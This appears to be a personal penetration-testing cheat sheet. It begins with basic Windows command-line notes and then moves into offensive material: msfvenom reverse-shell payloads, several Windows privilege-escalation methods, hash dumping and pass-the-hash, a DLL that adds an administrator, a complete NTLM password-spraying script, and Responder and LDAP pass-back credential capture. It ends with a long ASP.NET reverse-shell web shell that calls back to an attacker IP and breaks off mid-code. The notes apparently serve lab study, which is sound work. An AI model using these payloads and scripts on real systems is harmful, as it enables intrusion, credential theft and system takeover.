Hack. Eat. Sleep. Repeat!!!
javac <file.java>
to compile a java filejava <file.java>
to run the fileUse:
more <file name>
type <file name>
exit
Commands | syntax | Actions |
---|---|---|
dir | dir |
List a directory |
cd | cd <directory |
Change directory |
cd .. | cd .. |
Move up a directory |
move | move file file |
Move a file |
copy | copy file file |
Copy a file |
del | del <file name> |
Delete a file |
mkdir | mkdir <directoryname> |
Make a directory |
>
and <
, Linux logic appplies to it,the same with piping |
powershell start cmd -v runAs
driverquery
systeminfo
set
prompt <what you want to do> $G
prompt
dir | clip
assoc
title cmdbaby
fc <file1> <file2>
cipher
On a PC, deleted files remain accessible to you and other users. So, technically, they are not deleted under the hood.
cipher
netstat -an
shutdown
shutdown /r
will restart a systemcls
cmd
ren <filename1> <filename2>
echo <words> > filename.txt
-help
to show a guide on listpowercfg -help
dism
vol
ping <addr>
color attr
to check a color’s indexcolor <number>
to change colornetsh wlan show profiles
to check wifis previously connected tonetsh wlan show profiles name="<wifi's name>" key=clear
ipconfig
to check the machine’s ip addressipconfig
ipconfig /release
, ipconfig /renew
, and ipconfig /flushdns
which you can use to troubleshoot issues with internet connectionssfc
sfc /scannow
to check for corrupt files and repair themPowercfg
You can use this command with its several extensions to show information about the power state of your PC.
powercfg /energy
to generate a battery health reportstart <web addr>
tree
ver
tasklist
taskkill /IM "<program>" /F
to kill a programdate
to show datatime
to show timeremmina
on linuxThe System Configuration utility (MSConfig) is for advanced troubleshooting, and its main purpose is to help diagnose startup issues.
windowskey + r
,type msconfig
taskmgr to run the
task manager` get programs and background processesThe Computer Management (compmgmt) utility has three primary sections: System Tools, Storage, and Services and Applications.
compmgmt.msc
in the windowskey + r
dialog boxLocal Users and Groups
, use lusrmgr.msc
or check hereperfmon.exe
or checkWindows includes a tool called Microsoft System Information (Msinfo32.exe). This tool gathers information about your computer and displays a comprehensive view of your hardware, system components, and software environment, which you can use to diagnose computer issues
The system information tab contains the Environmental variables
.Environment variables store information about the operating system environment. This information includes details such as the operating system path, the number of processors used by the operating system, and the location of temporary folders.The environment variables store data that is used by the operating system and other programs. For example, the WINDIR environment variable contains the location of the Windows installation directory. Programs can query the value of this variable to determine where Windows operating system files are located.
Resource Monitor
and the executable is resmon.exe
.Resource Monitor displays per-process and aggregate CPU, memory, disk, and network usage information, in addition to providing details about which processes are using individual file handles and modules. Advanced filtering allows users to isolate the data related to one or more processes (either applications or services), start, stop, pause, and resume services, and close unresponsive applications from the user interface. It also includes a process analysis feature that can help identify deadlocked processes and file locking conflicts so that the user can attempt to resolve the conflict instead of closing an application and potentially losing dataIt is an hierarchical database used to store information necessary to configure the system for one or more users, applications, and hardware devices.
One way to use regedit is regedit
or regedt32
.
Connecting to rdps with xfreerdp
xfreerdp /u:<user> /p:<password> /cert:ignore /v:<host>
Generating a windows reverse shell executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your ip> LPORT=<listening port> -f exe -o saucy.exe
Setting up an smb server with python impacket
python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
Copy to the machine
copy \\<your ip>\kali\<filename> <folder to send to>
To check a user’s permission,use accesschk.exe
accesschk.exe /accepteula -uwcqv user <service>
Check if a binary runs with SYSTEM privileges
sc qc [service name]
Modify the config path to our reverseshell’s path
sc config [service name] binpath="\"<reverseshell path>\""
Then net start service name
to trigger it
Use accesschk /accepteula -uwdq "[service name]"
to check for the user privileges
Copy to the directory and rename with Common.exe
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
use net start [service}
to start shell.
regsvc
is vulnerable, group NT AUTHORITY/INTERACTIVE
can overwrite registry Imagepath.Command-:accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
Command-:reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
net start regsvc
to start revshellcopy [path] [path] /Y
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
to query the registry for Autorun executablesQuery with accesschk to see if it is writable by everyone
Command-: C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
Copy your reverse shell executable to the autorun executable path
You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves
rdesktop -u [user] [ip]
Use:
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=[port] -f msi -o saucy.msi
AlwaysInstallElevated” is a Windows Registry setting that affects the behavior of the Windows Installer service. The vulnerability arises when the “AlwaysInstallElevated” registry key is configured with a value of “1” in the Windows Registry. When this registry key is enabled, it allows non-administrator users to install software packages with elevated privileges. In other words, users who shouldn’t have administrative rights can exploit this vulnerability to execute arbitrary code with elevated permissions, potentially compromising the security of the system.
To check this, use query reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
to check if the value is set to 1
or 0x1
.
msi
with msfvenow syntax below-:msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=10.0.2.4 LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi
Copy the msi payload and install with msiexec to trigger a reverse shelll
msiexec /quiet /qn /i [msi's path]
Shell
runas /
user:dev-datasci-lowpriv "msiexec /quiet /qn /i C:\Users\dev-datasci-low
priv\priest.msi"
You can query registry for saved password
reg query HKLM /f password /t REG_SZ /s
or query to find admin AUTOLOGON credentials
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
Spawn a cmd with admin privilege with winexe
winexe -U '[user]%[password]' //[ip] cmd.exe
Install credump7 to dump the hashes
git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
Dump the hashes with pwdump.py
hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
You can use the hash to login instead of cracking the password,use pth-winexe
pth-winexe -U "admin%[hash]" //[ip] cmd.exe
Remember that the hash contains both the LM and NTLM hash seperated by colon
SYSTEM
with write access.mspaint.exe
tasklist /V | findstr mspaint.exe
to see if it is running with admin privilegesfile
and open
.then paste this:file://c:/windows/system32/cmd.exe
Set up a socat redirector redirecting traffic from a port on your machine to another port on the victim machine
sudo socat tcp-listen:[listening port],reuseaddr,fork tcp:[target-ip]:[port]
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the “local service” account.
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Now, in the “local service” reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999
System shell
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the “local service” account:
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Now, in the “local service” reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
c:\PrivEsc\PrintSpoofer.exe -i -c [rev shell's path]
whoami /priv
to check for privilegesPrivilege Escalation automation scripts
[SID]
SID
is a unique value assigned to a group and user and authenticated by windows.In the case of users
and groups
, it is generated by Local Security Authority
while Doamin users and groups are created by the domain controller.The SID is generated when the user is creted and cannot be tampered with.-
acts a delimeter
- Literal `S` indicates that the string is an SID
- Literal `R`stands for `revision` and that the overall SID structure is at its initial version.it is always set to 1.
- “X” determines the identifier authority. This is the authority that issues the SID. For example, “5” is
the most common value for the identifier authority. It specifies `NT Authority` and is used for local
or domain users and groups.
- “Y” represents the sub authorities of the identifier authority. Every SID consists of one or more sub
authorities. This part consists of the domain identifier and relative identifier (RID). The domain
identifier is the SID of the domain for domain users, the SID of the local machine for local users,
and “32” for built-in principals. The RID determines principals such as users or groups.
## Example of a SID
```S-1-5-21-1336799502-1441772794-948155058-1001```
- Relative identifiers start with 1000.RID `1001` will be for the second user created on the server.
- There are SIDs that have a RID under 1000, which are called well-known SIDs.These SIDs identify generic and built-in groups and users instead of specific groups and users.
S-1-0-0 Nobody
S-1-1-0 Everybody
S-1-5-11 Authenticated Users
S-1-5-18 Local System
S-1-5-domainidentifier-500 Administrator
### ACCESS TOKEN
- Once a user gets authenticaed by Windows,a token gets generated with set of attributes which limits the type of operation carried out by the user.
- When a user starts a process or thread, a token will be assigned to these objects. This token, called a primary token, specifies which permissions the process or threads have when interacting with another object and is a copy of the access token of the user
- A thread can also have an impersonation token assigned. Impersonation tokens are used to provide a different security context than the process that owns the thread. This means that the thread interacts with objects on behalf of the impersonation token instead of the primary token of the process.
### Mandatory Access Control
- It uses integrity levels to determine control access to securable objects.When processes are started,they receive the integrity levels of the principal while performing the operations.
- Processes run on 4 integrity levels
System: SYSTEM (kernel, ...)
High: Elevated users
Medium: Standard users
Low: very restricted rights often used in sandboxed[^privesc_win_sandbox] processes or for directories storing temporary data
### User Access Control
- UAC is a Windows security feature that protects the operating system by running most applications and tasks with standard user privileges, even if the user launching them is an Administrator. For this, an administrative user obtains two access tokens after a successful logon. The first token is a standard user token (or filtered admin token), which is used to perform all non-privileged operations. The second token is a regular administrator token. It will be used when the user wants to perform a privileged operation. To leverage the administrator token, a
UAC consent prompt needs to be confirmed.
### SITUATIONAL AWARENESS
- This involves understanding the nature of the windows system to identify potential vectors for privilege escalation.
- Important stuffs to check are:
- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes
### Groups
- Use `whoami /GROUPS` to display the groups that the current user is a member of
### Users
- The next piece of information we are interested in are other users and groups on the system. We can use the `net user` command or the `Get-LocalUser` Cmdlet to obtain a list of all local users. Let’s use the latter by starting PowerShell and running Get-LocalUser
```bash
powershell
Get-LocalUser
net LocalGroup
or Get-LocalGroup
in powershellGet-LocalGroupMember
Get-LocalGroupMember <Group's name>
systeminfo
ifconfig /all
route print
netstat -ano
For 64-bit and 32-bit applications , use
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-Process
cmdletc:/
directorynet user [username]
can access services like
RDP or
WINRM`.Get-History
PSReadline
. Therefore, we can check if the user in our example misunderstood the Clear-History Cmdlet to clear all traces of previous commands.(Get-PSReadlineOption).HistorySavePath
remote desktop Users of Remote Management Users
but you have access to GUI.Runas
can be used to spawn a command as a user.Syntax-:runas /user:[username] cmd
Get-ChildItem
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Use
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64
Search for search_to_meterpreter
with search <keyword>
use 0
or use <keyword>
sessions -i
search "hashdump"
to search for hashdump and follow the process in a pictureUse john
to crack the hash
john --format=NT --wordlist=/home/sensei/rockyou.txt hashfile
certutil.exe
to copy filescertutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
in cmd to check for logon
autoruncopy <file> \\<ip>\<share>
Process Monitor
and check for a program missing a dllx86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme2.dll
sc
to start the service with sc start <service>
.You can stop a service with sc stop <service>
.// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
powershell.exe -nop -ep bypass
tater.ps1
script Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
net localgroup administrators
iexplore.exe
taskmgr.exe
and create a dumpAuthorization: Basic
Remove 8.8.8.8
systemctl restart NetworkManager
to restart networkmanager Internally-hosted Exchange (Mail) servers that expose an Outlook Web App (OWA) login portal.
Remote Desktop Protocol (RDP) service of a server being exposed to the internet.
Exposed VPN endpoints that were integrated with AD.
Web applications that are internet-facing and make use of NetNTLM.
#!/usr/bin/python3
import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt
class NTLMSprayer:
def __init__(self, fqdn):
self.HTTP_AUTH_FAILED_CODE = 401
self.HTTP_AUTH_SUCCEED_CODE = 200
self.verbose = True
self.fqdn = fqdn
def load_users(self, userfile):
self.users = []
lines = open(userfile, 'r').readlines()
for line in lines:
self.users.append(line.replace("\r", "").replace("\n", ""))
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
count = 0
for user in self.users:
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
def main(argv):
userfile = ''
fqdn = ''
password = ''
attackurl = ''
try:
opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
except getopt.GetoptError:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit()
elif opt in ("-u", "--userfile"):
userfile = str(arg)
elif opt in ("-f", "--fqdn"):
fqdn = str(arg)
elif opt in ("-p", "--password"):
password = str(arg)
elif opt in ("-a", "--attackurl"):
attackurl = str(arg)
if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
#Start attack
sprayer = NTLMSprayer(fqdn)
sprayer.load_users(userfile)
sprayer.password_spray(password, attackurl)
sys.exit()
else:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
if __name__ == "__main__":
main(sys.argv[1:])
Vpns
If this services are exposed to the internet,the same attacks leveraged on NTLM can be applied.Although, it opens up an additional attack to to grab the credentials to gain authenticated access to AD.
LDAP Pass-back attacks can be performed when we gain access to a device’s configuration where the LDAP parameters are specified. This can be, for example, the web interface of a network printer. Usually, the credentials for these interfaces are kept to the default ones, such as admin:admin or admin:password. Here, we won’t be able to directly extract the LDAP credentials since the password is usually hidden. However, we can alter the LDAP configuration, such as the IP or hostname of the LDAP server. In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device. We can intercept this authentication attempt to recover the LDAP credentials.
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
#You will however have to configure your own rogue LDAP server on the AttackBox as well. We will start by reconfiguring the LDAP server using the following command:
sudo dpkg-reconfigure -p low slapd
sudo dpkg-reconfigure -p low slapd
ldif
file.#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
Config meaning
olcSaslSecProps: Specifies the SASL security properties noanonymous: Disables mechanisms that support anonymous login minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
Path up the server with the command below
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
Verify the credentials settings with
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
tcpdump
to sniff packetsHowever, the security of earlier versions of the SMB protocol was deemed insufficient. Several vulnerabilities and exploits were discovered that could be leveraged to recover credentials or even gain code execution on devices. Although some of these vulnerabilities were resolved in newer versions of the protocol, often organisations do not enforce the use of more recent versions since legacy systems do not support them. We will be looking at two different exploits for NetNTLM authentication with SMB:
Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to.On a real LAN, Responder will attempt to poison any Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected. On large Windows networks, these protocols allow hosts to perform their own local DNS resolution for all hosts on the same local network. Rather than overburdening network resources such as the DNS servers, hosts can first attempt to determine if the host they are looking for is on the same local network by sending out LLMNR requests and seeing if any hosts respond. However, Responder will actively listen to the requests and send poisoned responses telling the requesting host that our IP is associated with the requested hostname. By poisoning these requests, Responder attempts to force the client to connect to our AttackBox. In the same line, it starts to host several servers such as SMB, HTTP, SQL, and others to capture these requests and force authentication.
Using responder requires syntax `sudo responder -i
ss --udp --tcp --listen --process
to spot ports runninghashcat -m 5600 <hash file> <password file> --force
Once the process is performed, the client will use a TFTP connection to download the PXE boot image. We can exploit the PXE boot image for two different purposes:
Copy to your host machine with scp secure copy
scp <user>@<host>:<c:\<file>>
Using sqlite3 to check user values, use .open <db_name>
to open a db
Usage-:python mcafee_sitelist_pwd_decrypt.py <string>
powershell start pwsh -v runAs
] Import-Module Appx -UseWinPS
iwr
iwr
iwr -uri http://x.x.x.x/winpeas.exe -Outfile winpeas.exe
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
protected void Page_Load(object sender, EventArgs e)
{
String host = "10.8.36.31"; //CHANGE THIS
int port = 80; ////CHANGE THIS
CallbackShell(host, port);
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName,
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in
{
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero;
}
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")]
static extern bool AllocConsole();
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
[In] SocketType socketType,
[In] ProtocolType protocolType,
[In] IntPtr protocolInfo,
[In] uint group,
[In] int flags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int inet_addr([In] string cp);
[DllImport("ws2_32.dll")]
private static extern string inet_ntoa(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint htonl(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint ntohl(uint ip);
[DllImport("ws2_32.dll")]
private static extern ushort htons(ushort ip);
[DllImport("ws2_32.dll")]
private static extern ushort ntohs(ushort ip);
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int send(
[In] IntPtr socketHandle,
[In] byte[] pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int recv(
[In] IntPtr socketHandle,
[In] IntPtr pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int closesocket(
[In] IntPtr socketHandle
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr accept(
[In] IntPtr socketHandle,
[In, Out] ref sockaddr_in socketAddress,
[In, Out] ref int socketAddressSize
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int listen(
[In] IntPtr socketHandle,
[In] int backlog
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int bind(
[In] IntPtr socketHandle,
[In] ref sockaddr_in socketAddress,
[In] int socketAddressSize
);
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public static extern bool GetTokenInformation(
IntPtr hToken,
TOKEN_INFORMATION_CLASS tokenInfoClass,
IntPtr TokenInformation,
int tokeInfoLength,
ref int reqLength);
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool LookupAccountSid
(
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
IntPtr pSid,
StringBuilder Account,
ref int cbName,
StringBuilder DomainName,
ref int cbDomainName,
ref int peUse
);
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid(
IntPtr pSID,
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
extern static IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess,
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
uint cb,
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(
String lpName,
uint dwOpenMode,
uint dwPipeMode,
uint nMaxInstances,
uint nOutBufferSize,
uint nInBufferSize,
uint nDefaultTimeOut,
IntPtr pipeSecurityDescriptor
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(
IntPtr hHandle,
uint lpOverlapped
);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetNamedPipeHandleState(
IntPtr hHandle,
IntPtr lpState,
IntPtr lpCurInstances,
IntPtr lpMaxCollectionCount,
IntPtr lpCollectDataTimeout,
StringBuilder lpUserName,
int nMaxUserNameSize
);
protected void CallbackShell(string server, int port)
{
string request = "Spawn Shell...\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void SpawnProcess(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
